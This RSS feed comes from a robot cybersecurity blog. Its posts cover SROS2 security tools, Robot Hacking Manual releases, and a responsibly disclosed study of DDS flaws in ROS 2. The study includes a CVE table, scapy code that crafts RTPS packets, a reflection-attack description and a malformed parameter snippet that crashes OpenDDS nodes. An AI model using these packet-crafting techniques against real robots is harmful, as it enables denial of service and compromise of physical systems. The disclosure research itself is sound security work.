<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Cybersecurity Robotics]]></title><description><![CDATA[Thoughts and news on robot cybersecurity.]]></description><link>https://cybersecurityrobotics.net/</link><image><url>https://cybersecurityrobotics.net/favicon.png</url><title>Cybersecurity Robotics</title><link>https://cybersecurityrobotics.net/</link></image><generator>Ghost 3.13</generator><lastBuildDate>Sat, 04 Apr 2026 09:55:06 GMT</lastBuildDate><atom:link href="https://cybersecurityrobotics.net/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[SROS2: Usable Cyber Security Tools for ROS 2]]></title><description><![CDATA[We propose a robot cybersecurity methodology to secure computational graphs and improve SROS2, usable security tools for ROS 2. We argue that without usability, security in robotics will be greatly impaired.]]></description><link>https://cybersecurityrobotics.net/sros2-cyber-security-tools-for-ros-2/</link><guid isPermaLink="false">6232fa177f008503fd9d1061</guid><category><![CDATA[ROS]]></category><category><![CDATA[SROS2]]></category><category><![CDATA[robotics]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Thu, 17 Mar 2022 09:09:38 GMT</pubDate><content:encoded><![CDATA[<h3 id="we-propose-a-cybersecurity-methodology-to-secure-computational-graphs-and-improve-sros2-usable-security-tools-for-ros-2-we-argue-that-without-usability-security-in-robotics-will-be-greatly-impaired-">We propose a cybersecurity methodology to secure computational graphs and improve SROS2, usable security tools for ROS 2. We argue that without usability, security in robotics will be greatly impaired.</h3><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.linkedin.com/posts/vmayoral_sros2-usable-cyber-security-tools-for-ros-activity-6910122881167294464-aYjy"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Víctor Mayoral Vilches on LinkedIn: SROS2: Usable Cyber Security Tools for ROS 2</div><div class="kg-bookmark-description">We argue that without usability, security in robotics will be greatly impaired and present tools to secure ROS robots in a usable manner: SROS2. Cyber...</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://static-exp1.licdn.com/sc/h/al2o9zrvru7aqj8e1x2rzsrca"><span class="kg-bookmark-author">377 Posts</span><span class="kg-bookmark-publisher">LinkedIn</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://static-exp1.licdn.com/sc/h/c45fy346jw096z9pbphyyhdz7"></div></a></figure><!--kg-card-begin: markdown--><p><em>First published in <a href="https://discourse.ros.org/t/sros2-usable-cyber-security-tools-for-ros-2/24719">ROS Discourse</a>. Read <mark>our paper</mark> for more: <a href="https://aliasrobotics.com/files/SROS2.pdf">SROS2, Usable Cyber Security tools for ROS 2</a>.</em></p>
<blockquote>
<p>Cyber security is a two-way street where both vendors and researchers must act responsibly and over the last few years we learned that doing security research and <a href="https://discourse.ros.org/t/cybersecurity-in-the-ros-2-communication-middleware-targeting-the-top-6-dds-implementations/23254">cooperating with authorities for responsible disclosure</a> is <strong>as important as taking appropriate measures and mitigations in a timely manner</strong>. But for that to happen, [u]security needs to be usable in robotics[/u]. Specially from a user (roboticists' standpoint).</p>
</blockquote>
<p>Based on past implementations, and from the experiences of both crafting security tools and using them with customer engagements over a few years now, together with @ruffsl, @gianlucacaiazza and @marguedas, I'm happy to share about our latest piece that focuses precisely on the usability problem described above by contributing with extensions to tools and writing formally  about a methodology to secure ROS 2 computational graphs: (<mark>paper</mark>) <a href="https://aliasrobotics.com/files/SROS2.pdf">SROS2, Usable Cyber Security tools for ROS 2</a>.</p>
<p><img src="https://cybersecurityrobotics.net/content/images/2022/03/devops.png" alt="devops"></p>
<p>Shortly, our article introduces SROS2 as a series of developer tools, meant to be usable and that facilitate adding security capabilities to ROS 2 computational graphs. We present a security methodology consisting of six steps (heavily inspired by prior <a href="https://arxiv.org/pdf/2003.10402.pdf">DevSecOps</a> work) that allow securing ROS 2 graphs iteratively (and continuously), with the aid of SROS2. Driven by an application use case, we discuss how SROS2 allows achieving security in complex graphs involving popular ROS 2 packages and analyze the security trade-offs and limitations of our current tooling. The key contributions of our work are:</p>
<ul>
<li><ins>Introduce SROS2, a set of usable tools for adding security to ROS 2</ins> that: (1) help introspect the computational graph by extracting communication middleware-level information; (2) simplify the security operations creating Identity and Permissions Certificate Authorities (CA) that govern the security policies of a ROS 2 graph; (3) help organize all security artifacts in a consistent manner and within a directory tree that is generated within the current ROS 2 workspace overlay; (4) help create a new identity for each enclave, generating a keypair and signing its x.509 certificate using the appropriate CA; (5) create governance files to encrypt all DDS traffic by default; (6) support specifying enclave permissions in familiar ROS 2 terms which are then automatically converted into low-level DDS permissions; (7) support automatic discovery of required permissions from a running ROS 2 system; and (8) dissect communication middleware interactions, to extract key information for the security monitoring of the system.</li>
<li><ins>Propose a methodology for securing ROS 2 computational graphs</ins> that provides roboticists with a structured process to continuously assess their security.</li>
<li><ins>Expose insights into how to apply SROS2 to real ROS 2 computational graphs by presenting an application case study</ins> focused on analyzing the Navigation2 and SLAM Toolbox stacks in a TurtleBot3 robot.</li>
</ul>
<p>Besides these, we also acknowledge that SROS2 has various limitations that deserve further attention and improvements (which are fantastic entry points for new contributors!). Some of these include the lack of granularity of security configurations in the current abstractions, which makes it difficult to configure encryption and authentication options separately. Others refer to the lifecycle management of security artifacts, including updating certificates and keys, wherein secure deployment plays a key role. Forward looking, we are particularly keen on improving SROS2 mechanisms in the future to ensure secure lifecycles while minimizing the downtime impact in ROS 2 graphs.</p>
<h4 id="futurework">Future work</h4>
<p>Some additional promising directions for future work (which hopefully we'll tackle as part of the Security WG) include the development of more advanced monitoring and introspection capabilities, the extension of SROS2 to other communication middlewares (beyond DDS) and finally, the continuous improvement of the usability of the tools. For this, we believe that the use of Graphical User Interfaces (GUIs) represents an interesting opportunity to further facilitate SROS2 usability to non-roboticists.</p>
<p>By releasing this, we're hoping to trigger up the interest of the community in security and inspire groups in robotics to pay more attention to the security to their robotic computational graphs. More exciting work along these lines is in the pipeline, and <a href="https://aliasrobotics.com/research-security.php">Alias Robotics has been publishing part of its robot cybersecurity research for a while now</a>, so reach out if you wish to cooperate or just <ins>join us in the ROS 2 Security Working Group</ins>!</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Robot Hacking Manual (RHM) v0.4]]></title><description><![CDATA[Learn robot cybersecurity through the Robot Hacking Manual (RHM), an introductory series about cybersecurity in robotics, with an attempt to provide comprehensive case studies and step-by-step tutorials.]]></description><link>https://cybersecurityrobotics.net/robot-hacking-manual-rhm-v0-4/</link><guid isPermaLink="false">61b6ee007f008503fd9d1026</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[robotics]]></category><category><![CDATA[ROS]]></category><category><![CDATA[ros2]]></category><category><![CDATA[Industrial]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[bug-hunting]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Mon, 13 Dec 2021 07:00:32 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/vmayoral/robot_hacking_manual"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - vmayoral/robot_hacking_manual: Robot Hacking Manual (RHM). From robotics to cybersecurity. Papers, notes and writeups from a journey into robot cybersecurity.</div><div class="kg-bookmark-description">Robot Hacking Manual (RHM). From robotics to cybersecurity. Papers, notes and writeups from a journey into robot cybersecurity. - GitHub - vmayoral/robot_hacking_manual: Robot Hacking Manual (RHM)....</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.githubassets.com/favicons/favicon.svg"><span class="kg-bookmark-author">vmayoral</span><span class="kg-bookmark-publisher">GitHub</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/0ab91e9dd11d68a723fcca520da914ae4fcbf3c138e20a0f1c7a415569fc1344/vmayoral/robot_hacking_manual"></div></a></figure><!--kg-card-begin: markdown--><p>The <a href="https://github.com/vmayoral/robot_hacking_manual">Robot Hacking Manual</a> (RHM) v0.4 is out. Briefly, the Robot Hacking Manual is an introductory series about cybersecurity for robots, with an attempt to provide comprehensive case studies and step-by-step tutorials with the intent to raise awareness in the field and highlight the importance of taking a security-first approach. Content is provided &quot;as is&quot; and by no means I encourage or promote the unauthorized tampering of robotic systems or related technologies.</p>
<p>Learn about robot cybersecurity through a collection of papers, notes and writeups.</p>
<p>This new release includes:</p>
<ul>
<li>A curated list of relevant talks and videos on robot cybersecurity</li>
<li>A new study case looking at #ROS (1)</li>
<li>Improvements and fixes</li>
</ul>
<p>To contribute to this work, check out <a href="https://github.com/vmayoral/robot_hacking_manual">https://github.com/vmayoral/robot_hacking_manual</a>. For an online version of the content, see <a href="https://cybersecurityrobotics.net/robot-hacking-manual-rhm-v0-4/rhm.cybersecurityrobotics.net/">rhm.cybersecurityrobotics.net/</a>. Download RHM in PDF <a href="https://github.com/vmayoral/robot_hacking_manual/releases/download/0.4/RHM.pdf">here</a> and/or check previous versions:</p>
<ul>
<li><a href="https://github.com/vmayoral/robot_hacking_manual/releases/download/0.4/RHM.pdf"><code>RHM v0.4</code></a></li>
<li><a href="https://github.com/vmayoral/robot_hacking_manual/releases/download/0.3/RHM.pdf"><code>RHM v0.3</code></a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Hacking ROS 2 ethically]]></title><description><![CDATA[We study the underlying default communication middleware of ROS 2, OMG's Data Distribution Service (DDS) and 6 popular implementations. We found all DDS implementations vulnerable to various attacks and demonstrated how ROS 2 systems can be compromised.]]></description><link>https://cybersecurityrobotics.net/hacking-ros-2/</link><guid isPermaLink="false">61a313157f008503fd9d0fcf</guid><category><![CDATA[ros2]]></category><category><![CDATA[DDS]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[hacking]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[robots]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Sun, 28 Nov 2021 05:41:40 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>During the last few months I've been involved with a cybersecurity research group where we've been studying the security of ROS 2 through its underlying communication middleware: DDS (Data Distribution Service).  The results have been responsibly disclosed to affected parties over the past few months. We also followed a coordinated disclosure approach in cooperation with authorities, which was made public first in <a href="https://us-cert.cisa.gov/ics/advisories/icsa-21-315-02">this security advisory</a>, and later in our public talks. After bringing this to the attention of the ROS community to raise awareness, I'm also sharing a few bits in here:</p>
<p><ins>TL;DR</ins>: Our target this time was studying the underlying default communication middleware of ROS 2: OMG's Data Distribution Service (DDS) and its most popular implementations. <strong>We found all DDS implementations vulnerable to various attacks and demonstrated how ROS 2 systems can be compromised easily due to the insecurities detected at this layer</strong>.</p>
<p>Our results are summarized in the table below.</p>
<table>
<thead>
<tr>
<th>CVE ID</th>
<th>Description</th>
<th>Scope</th>
<th>CVSS</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2021-38445</td>
<td>OCI OpenDDS versions prior to 3.18.1 do not handle a length parameter consistent with the actual length of the associated data, which may allow an attacker to remotely execute arbitrary code.</td>
<td>OpenDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:O/RC:C/CR:M/AR:H">7.0</a></td>
<td>Failed assertion <a href="https://github.com/objectcomputing/OpenDDS/releases/tag/DDS-3.18.1">&gt;= 3.18.1</a></td>
</tr>
<tr>
<td>CVE-2021-38447</td>
<td>OCI OpenDDS versions prior to 3.18.1 are vulnerable when an attacker sends a specially crafted packet to flood  target devices with unwanted traffic, which may result in a denial-of-service condition.</td>
<td>OpenDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:O/RC:C/CR:M/AR:H">8.6</a></td>
<td>Resource exhaustion  <a href="https://github.com/objectcomputing/OpenDDS/releases/tag/DDS-3.18.1">&gt;= 3.18.1</a></td>
</tr>
<tr>
<td>CVE-2021-38435</td>
<td>RTI Connext DDS Professional, Connext DDS Secure Versions 4.2x to 6.1.0, and Connext DDS Micro Versions  3.0.0 and later do not correctly calculate the size when allocating the buffer, which may result in a buffer  overflow</td>
<td>RTI ConnextDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:O/RC:C/CR:M/AR:H">8.6</a></td>
<td>Segmentation fault via network   <a href="https://community.rti.com/kb/ics-cert-security-notice-ics-vu-575352-vu770071">&gt;= 6.1.0</a></td>
</tr>
<tr>
<td>CVE-2021-38423</td>
<td>All versions of GurumDDS improperly calculate the size to be used when allocating the buffer, which may result  in a buffer overflow.</td>
<td>GurumDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RC:C/CR:M/AR:H">8.6</a></td>
<td>Segmentation fault via network</td>
</tr>
<tr>
<td>CVE-2021-38439</td>
<td>All versions of GurumDDS are vulnerable to heap-based buffer overflow, which may cause a denial-of-service condition or remotely execute arbitrary code.</td>
<td>GurumDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RC:C/CR:M/AR:H">8.6</a></td>
<td>Heap-overflow via network</td>
</tr>
<tr>
<td>CVE-2021-38441</td>
<td>Eclipse CycloneDDS versions prior to 0.8.0 are vulnerable to a write-what-where condition, which may allow an  attacker to write arbitrary values in the XML parser.</td>
<td>CycloneDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H/E:U/RL:O/RC:C/CR:M/AR:H">6.6</a></td>
<td>Heap-write in XML parser</td>
</tr>
<tr>
<td>CVE-2021-38443</td>
<td>Eclipse CycloneDDS versions prior to 0.8.0 improperly handle invalid structures, which may allow an attacker to  write arbitrary values in the XML parser.</td>
<td>CycloneDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H/E:U/RL:O/RC:C/CR:M/AR:H">6.6</a></td>
<td>8-bytes heap-write in XML parser</td>
</tr>
<tr>
<td>CVE-2021-38427</td>
<td>RTI Connext DDS Professional, Connext DDS Secure Versions 4.2x to 6.1.0, and Connext DDS Micro Versions  3.0.0 and later are vulnerable to a stack-based buffer overflow, which may allow a local attacker to execute  arbitrary code</td>
<td>RTI ConnextDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H/E:U/RL:O/RC:C/CR:H/AR:H">6.6</a></td>
<td>Stack overflow in XML parser <a href="https://community.rti.com/kb/ics-cert-security-notice-ics-vu-575352-vu770071">&gt;= 6.1.0</a></td>
</tr>
<tr>
<td>CVE-2021-38433</td>
<td>RTI Connext DDS Professional, Connext DDS Secure Versions 4.2x to 6.1.0, and Connext DDS Micro Versions  3.0.0 and later are vulnerable to a stack-based buffer overflow, which may allow a local attacker to execute  arbitrary code.</td>
<td>RTI ConnextDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H/E:U/RL:O/RC:C/CR:H/AR:H">6.6</a></td>
<td>Stack overflow in XML parser <a href="https://community.rti.com/kb/ics-cert-security-notice-ics-vu-575352-vu770071">&gt;= 6.1.0</a></td>
</tr>
<tr>
<td>CVE-2021-38487</td>
<td>RTI Connext DDS Professional, Connext DDS Secure Versions 4.2x to 6.1.0, and Connext DDS Micro Versions 3.0.0 and later are vulnerable when an attacker sends a specially crafted packet to flood victims’ devices with  unwanted traffic, which may result in a denial-of-service condition.</td>
<td>ConnextDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:O/RC:C/CR:L/AR:H">8.6</a></td>
<td><a href="https://community.rti.com/kb/ics-cert-security-notice-ics-vu-575352-vu770071">Mitigation patch in &gt;= 6.1.0</a></td>
</tr>
<tr>
<td>CVE-2021-38429</td>
<td>OCI OpenDDS versions prior to 3.18.1 are vulnerable when an attacker sends a specially crafted packet to flood victims’ devices with unwanted traffic, which may result in a denial-of-service condition.</td>
<td>OpenDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:O/RC:C/CR:L/AR:H">8.6</a></td>
<td><a href="https://github.com/objectcomputing/OpenDDS/releases/tag/DDS-3.18.1">Mitigation patch in &gt;= 3.18.1</a></td>
</tr>
<tr>
<td>CVE-2021-38425</td>
<td>eProsima Fast-DDS versions prior to 2.4.0 (#2269) are susceptible to exploitation when an attacker sends a  specially crafted packet to flood a target device with unwanted traffic, which may result in a denial-of-service  condition.</td>
<td>eProsima Fast-DDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:T/RC:C/CR:L/AR:H">8.6</a></td>
<td><a href="https://github.com/eProsima/Fast-DDS/issues/2267">WIP mitigation in master</a></td>
</tr>
</tbody>
</table>
<p>A more detailed explanation for some of the flaws is provided below.</p>
<h3 id="dissectingros2networkinteractionsthroughrtps">Dissecting ROS 2 network interactions through RTPS</h3>
<p>To research ROS 2 communication middleware, we created a network dissector of DDS (more specifically, a Real-Time Publish Subscribe (RTPS) protocol) to tinker with the ROS 2 communications. Refer to the <a href="https://github.com/secdev/scapy/pull/3403">official Pull Request we sent to scapy</a> for our latest prototype.</p>
<p>The package dissector allows to both dissect and craft, which will be helpful while checking the resilience of ROS 2 communications. E.g., the following Python piece shows how to craft a simple empty RTPS package that will interoperate with ROS 2 Nodes:</p>
<p><img src="https://cybersecurityrobotics.net/content/images/2021/11/rtps_simple.png" alt="A simple empty RTPS package"></p>
<pre><code class="language-python">rtps_package = RTPS(
    protocolVersion=ProtocolVersionPacket(major=2, minor=4),
    vendorId=VendorIdPacket(vendor_id=b&quot;\x01\x03&quot;),
    guidPrefix=GUIDPrefixPacket(
        hostId=16974402, appId=2886795266, instanceId=1172693757
    ),
    magic=b&quot;RTPS&quot;,
)
</code></pre>
<h3 id="ros2reconnaissance">ROS 2 reconnaissance</h3>
<p>ROS 2 uses DDS as the default communication middleware. To locate ROS 2 computational Nodes, one can rely on DDS discovery mechanisms. Here's the body of an arbitrary discovery response obtained from one of the most popular DDS implementations: CycloneDDS.</p>
<pre><code>0000  52 54 50 53 02 01 01 10 01 10 5C 8E 2C D4 58 47  RTPS......\.,.XG
0010  FA 5A 30 D3 09 01 08 00 6E 91 76 61 09 C4 5C E5  .Z0.....n.va..\.
0020  15 05 F8 00 00 00 10 00 00 00 00 00 00 01 00 C2  ................
0030  00 00 00 00 01 00 00 00 00 03 00 00 2C 00 1C 00  ............,...
0040  17 00 00 00 44 44 53 50 65 72 66 3A 30 3A 35 38  ....DDSPerf:0:58
0050  3A 74 65 73 74 2E 6C 6F 63 61 6C 00 15 00 04 00  :test.local.....
0060  02 01 00 00 16 00 04 00 01 10 00 00 02 00 08 00  ................
0070  00 00 00 00 38 89 41 00 50 00 10 00 01 10 5C 8E  ....8.A.P.....\.
0080  2C D4 58 47 FA 5A 30 D3 00 00 01 C1 58 00 04 00  ,.XG.Z0.....X...
0090  00 00 00 00 0F 00 04 00 00 00 00 00 31 00 18 00  ............1...
00a0  01 00 00 00 6A 7A 00 00 00 00 00 00 00 00 00 00  ....jz..........
00b0  00 00 00 00 C0 A8 01 55 32 00 18 00 01 00 00 00  .......U2.......
00c0  6A 7A 00 00 00 00 00 00 00 00 00 00 00 00 00 00  jz..............
00d0  C0 A8 01 55 07 80 38 00 00 00 00 00 2C 00 00 00  ...U..8.....,...
00e0  00 00 00 00 00 00 00 00 00 00 00 00 1D 00 00 00  ................
00f0  74 65 73 74 2E 6C 6F 63 61 6C 2F 30 2E 39 2E 30  test.local/0.9.0
0100  2F 4C 69 6E 75 78 2F 4C 69 6E 75 78 00 00 00 00  /Linux/Linux....
0110  19 80 04 00 00 80 06 00 01 00 00 00              ............
</code></pre>
<p>Using the RTPS dissector, we can craft discovery requests and send them to targeted machines, processing the response and determining if any DDS participant is active within that machine and <code>DOMAIN_ID</code>.</p>
<p>Here's one of such packages:</p>
<p><img src="https://cybersecurityrobotics.net/content/images/2021/11/footprinting.png" alt="footprinting"></p>
<p>Though DDS implementations comply with <a href="https://www.omg.org/spec/DDS">OMG's DDS's specification</a>, discovery responses vary among implementations. The following recording shows how while the crafted package allows to determine the presence of ROS 2 Nodes running (Galactic-default) CycloneDDS implementation, when changed to Fast-DDS (another DDS implementation, previously called FastRTPS and the default one in Foxy), no responses to the discovery message are received.</p>
<p><a href="https://asciinema.org/a/K1IBM7ojOKlw89XhP9FJUXGYV"><img src="https://asciinema.org/a/K1IBM7ojOKlw89XhP9FJUXGYV.svg" alt="ROS 2 reconnaissance PoC"></a></p>
<p>Network discovery responses are different. It's still possible to perform reconnaissance in Fast-DDS systems, but one must engineer the network interactions accordingly. We must note this doesn't mean Fast-DDS is more secure. In fact, we encountered serious security flaws and pitfalls within Fast-DDS that we did not find elsewhere.</p>
<h3 id="ros2reflectionattack">ROS 2 reflection attack</h3>
<p>Each RTPS package <code>RTPSSubMessage_DATA</code> submessage can have multiple parameters. One of such parameters is <code>PID_METATRAFFIC_MULTICAST_LOCATOR</code>. Defined on <a href="https://www.omg.org/spec/DDSI-RTPS/2.5/PDF">OMG's RTPS spec</a>, it allows to hint which address should be used for multicast interactions. Unfortunately, there's no whitelisting of which IPs are to be included in here and all implementations allow for arbitrary IPs in this field. By modifying this value through a package, an attacker could hint a ROS 2 Node (through its underlying DDS implementation) to use a new multicast IP address (e.g. a malicious server that generates continuous traffic and responses to overload the stack and generate unwanted traffic) which can be used to trigger reflection (or amplification) attacks.</p>
<p><a href="https://asciinema.org/a/450475"><img src="https://asciinema.org/a/450475.svg" alt="ROS 2 reflection attack"></a></p>
<p><img src="https://cybersecurityrobotics.net/content/images/2021/11/ros2_reflection.png" alt="ros2_reflection"></p>
<p>An example of such package crafted with our dissector is available <a href="https://github.com/vmayoral/robot_hacking_manual/blob/master/1_case_studies/2_ros2/exploits/crash.py">here</a>.</p>
<p>Fully avoiding this flaw requires a DDS implementation to break with the standard specification (which is not acceptable by various vendors because they profit from the interoperability complying with the standard provides). Partial mitigations have appeared which implement exponential decay strategies for traffic amplification, making its exploitation more challenging.</p>
<p>This security issue affected all <strong>DDS implementations</strong> and as a result, all ROS 2 Nodes that build on top of DDS.</p>
<h3 id="ros2nodecrashing">ROS 2 Node crashing</h3>
<p>Fuzz testing often helps find security flaws due to programming errors in the corresponding implementations. The following two were found while doing fuzz testing in a white-boxed manner (with access to the source code):</p>
<table>
<thead>
<tr>
<th>CVE ID</th>
<th>Description</th>
<th>Scope</th>
<th>CVSS</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2021-38447</td>
<td>OCI OpenDDS versions prior to 3.18.1 are vulnerable when an attacker sends a specially crafted packet to flood  target devices with unwanted traffic, which may result in a denial-of-service condition.</td>
<td>OpenDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:O/RC:C/CR:M/AR:H">8.6</a></td>
<td>Resource exhaustion  <a href="https://github.com/objectcomputing/OpenDDS/releases/tag/DDS-3.18.1">&gt;= 3.18.1</a></td>
</tr>
<tr>
<td>CVE-2021-38445</td>
<td>OCI OpenDDS versions prior to 3.18.1 do not handle a length parameter consistent with the actual length of the associated data, which may allow an attacker to remotely execute arbitrary code.</td>
<td>OpenDDS, ROS 2<sub>*</sub></td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:O/RC:C/CR:M/AR:H">7.0</a></td>
<td>Failed assertion <a href="https://github.com/objectcomputing/OpenDDS/releases/tag/DDS-3.18.1">&gt;= 3.18.1</a></td>
</tr>
</tbody>
</table>
<p>They both affected OpenDDS. The recording below demonstrates how these flaws  lead ROS 2 Nodes to either crash or execute arbitrary code due to DDS not handling properly the length of the <code>PID_BUILTIN_ENDPOINT_QOS</code> parameter within RTPS's <code>RTPSSubMessage_DATA</code> submessage.</p>
<p><a href="https://asciinema.org/a/450474"><img src="https://asciinema.org/a/450474.svg" alt="ROS 2 Node crashing"></a></p>
<p>The key aspect in here is the <code>parameterLength</code> value:</p>
<p><img src="https://cybersecurityrobotics.net/content/images/2021/11/ros2_crasher.png" alt="ros2_crasher"></p>
<pre><code class="language-bash">PID_BUILTIN_ENDPOINT_QOS(
                  parameterId=119,
                  parameterLength=0,
                  parameterData=b&quot;\x00\x00\x00\x00&quot;,
              ),
</code></pre>
<h3 id="nextsteps">Next steps</h3>
<ul>
<li><strong>Secure DDS extensions</strong>: We plan to continue researching DDS and will likely target in the near future the Secure DDS specification. Early results hint that similarly, security might be <em>overly advertised at this point</em>, since various issues are to be addressed and a continued &quot;pentesting attitude&quot; should land among DDS vendors.</li>
<li><strong>Improving the OMG standard</strong>: We are trying to hold discussions with key OMG stakeholders for what concerns RTPS and DDS so that flaws in the specifications are mitigated. By doing this, we're hoping to promote security culture among robotics components (wherein security goes way beyond data encryption and authentication of interactions).</li>
<li><strong>Maintain the RTPS dissector for the community</strong>: We've raised <a href="https://github.com/ros-security/community/issues/28">a ticket in the ROS 2 security WG</a> to push this effort forward and maintain this dissector, creating a tool that all roboticists can use to challenge their communications in the future. Hopefully the Security WG can welcome this contribution this time (as opposed to past contribution attempts which were blocked by the Security WG (past <a href="https://discourse.ros.org/t/ros-2-security-working-group-january-meeting/12481/3"><code>discussion</code></a>, <a href="https://github.com/ros-security/community/issues/6"><code>failed contribution 1</code></a>, <a href="https://github.com/ros-security/community/issues/5"><code>failed contribution 2</code></a>).</li>
<li><strong>Extend this work to ROS 1</strong>: We have an ongoing prototype of a TCPROS dissector that (as per the current plan) will be submitted upstream for scapy integration. If there's anyone interested on it, feel free to ping me.</li>
<li><strong>More talks to raise awareness</strong>: We'll be disseminating this work in a few upcoming sessions:
<ul>
<li><a href="https://rosindustrial.org/events/2021/12/1/ros-industrial-conference-2021">ROS Industrial Conference 2021</a>, Breaking ROS 2 security assumptions: Targeting the top 6 DDS implementations. <em>Dec 1-2, 2021, Fraunhofer IPA, Virtual</em></li>
<li><code>ROS 2 Security WG</code> (expected to happen in next meeting)</li>
<li><a href="https://s4xevents.com/speakers/">S4x22</a>, A Security Deep Dive Into The DDS Protocol. <em>Jan 27th, 2022, Miami, FL, USA.</em><br>
Research paper coming soon.</li>
</ul>
</li>
</ul>
<h3 id="creditandacknowledgements">Credit and acknowledgements</h3>
<p>This research is the result of a cooperation among various security researchers. The following individuals took part on it (alphabetical order):</p>
<ul>
<li><a href="https://www.linkedin.com/in/chizuru-toyama-0a070427/">Chizuru Toyama</a></li>
<li><a href="https://www.linkedin.com/in/erik-boasson-21344912/">Erik Boasson</a> @eboasson</li>
<li><a href="https://www.linkedin.com/in/phretor">Federico Maggi</a> @phretor</li>
<li><a href="https://www.linkedin.com/in/marscheng93/">Mars Cheng</a></li>
<li>Patrick Kuo</li>
<li><a href="https://www.linkedin.com/in/evsfy/">Ta-Lun Yen</a> @evanslify</li>
<li><a href="https://www.linkedin.com/in/vmayoral/">Víctor Mayoral-Vilches</a> @vmayoral</li>
</ul>
<p>I'd like to give special credit to ADLINK, who has collaborated with us throughout the whole process and their security-first attitude is in our opinion the right path towards ensuring cybersecurity.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Robot Hacking Manual (RHM)]]></title><description><![CDATA[The Robot Hacking Manual (RHM) is an introductory series about cybersecurity for robots, with an attempt to provide comprehensive case studies and step-by-step tutorials with the intent to raise awareness in the field and highlight the importance of taking a security-first approach.]]></description><link>https://cybersecurityrobotics.net/robot-hacking-manual/</link><guid isPermaLink="false">619f41057f008503fd9d0f9d</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[robotics]]></category><category><![CDATA[hacking]]></category><category><![CDATA[manual]]></category><category><![CDATA[ROS]]></category><category><![CDATA[Industrial]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Thu, 25 Nov 2021 08:00:11 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/vmayoral/robot_hacking_manual"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - vmayoral/robot_hacking_manual: Robot Hacking Manual (RHM). From robotics to cybersecurity. Papers, notes and writeups from a journey into robot cybersecurity.</div><div class="kg-bookmark-description">Robot Hacking Manual (RHM). From robotics 